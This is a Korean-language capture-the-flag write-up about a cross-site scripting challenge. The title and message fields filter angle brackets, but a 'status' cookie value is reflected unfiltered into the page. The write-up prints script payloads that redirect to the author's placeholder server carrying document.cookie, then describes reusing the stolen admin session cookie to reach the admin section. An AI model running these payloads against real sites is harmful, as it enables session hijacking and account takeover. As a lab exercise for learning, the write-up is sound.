1. 문제
1) 문제 확인
게시글을 입력할수 있는 공간이 보인다. 특이한 점은 우측 상단에 현재 Status가 invite로 나온다. 그리고 입력한 글이 아래에 출력되며, status 또한 나온다.
2. 접근방법
일반적으로 글에 스크립트 태그를 넣어보자.
입력한 스크립트 태그를 보면 < , > 요게 필터링되서 나온다. 그럼 어케 우회를 할까..
일단 사용자가 입력할수 있는 공간에 꺽쇠가 필터링이 되므로 다른 타겟이 존재할지 확인해봤다. 수상한 점은 status라는 것이다. 우측 에 <i> 태그 안에 status 값이 나오는데, 이는 우측 상단에 나오는 status값이다. 그럼 사용자의 요청이 어떻게 넘어가는지 확인해보자.
입력한 제목, 메시지가 아래에서 전달된다. 문자는 제목, 메시지 둘다 ㅅㅅ 이렇게 입력했다.
그럼 아까 status관련된 부분이 어디서 전달되는지 확인해봐야한다. 잘보면 쿠키에 해당 값이 세팅이 되서 status=invite로 넘어간다. (뒤에 "><a></a>요거는 지금은 무시..)
우연히도 오늘 웹해킹 책에서 공부한 내용중에 헤더에 내용은 필터링이 안되어있을수 있다는 내용을 보았고 저 값을 수정해서 요청을 날렸다.
status=testss 요렇게 변경해서 보냈는데 위 사진처럼 내가 수정한 쿠키값이 저렇게 표시되는걸 확인했다. 바로 소스코드를 보면
저렇게 들어가는걸 확인할수 있다. 아까 제목, 메시지에는 꺽쇠가 필터링이 되어있었는데, 여기도 되어있는지 확인해보자. 쿠키에 스크립트 태그를 추가해서 보낼껀데, 현재 입력한 쿠키의 끝에 " 요걸로 닫히므로, 페이로드를 "> 스크립트태그 요렇게 구성하였다.
xss가 터졌다. 그럼이제 쿠키를 보내자.
•
payload
"><script>document.location="내서버".cancat(document.cookie)</script>
HTML
복사
요렇게 해줘도 됨!
•
<script>document.location = ["내서버", document.cookie].join()</script>
저렇게 보내면 내서버에 요렇게 날라온다.
어드민 쿠키가 나온다.
3. 풀이
저거를 바로 제출했는데 정답이 아니라고한다 ;; ㅅㅂ 머지? 근데 문제를 잘보면,
Steal the administrator session’s cookie and go in the admin section.
라는 문구가 있다. 즉 어드민 쿠키를 얻고, 어드민 섹션으로 가라! 라고 나와있다. 결국, 얻은 어드민 쿠키를 이용해서 admin section으로 들어가야한다. admin section으로 가기위해, 왼쪽에 Admin 버튼을 눌렀지만, status는 그대로 invite여서 그냥 버프에서 Status=admin 으로 준다음에 얻은 어드민 쿠키를 다음처럼 넣어줬다.
성공
4. 몰랐던 개념
•
http header를 이용해서 xss 삽입가능함.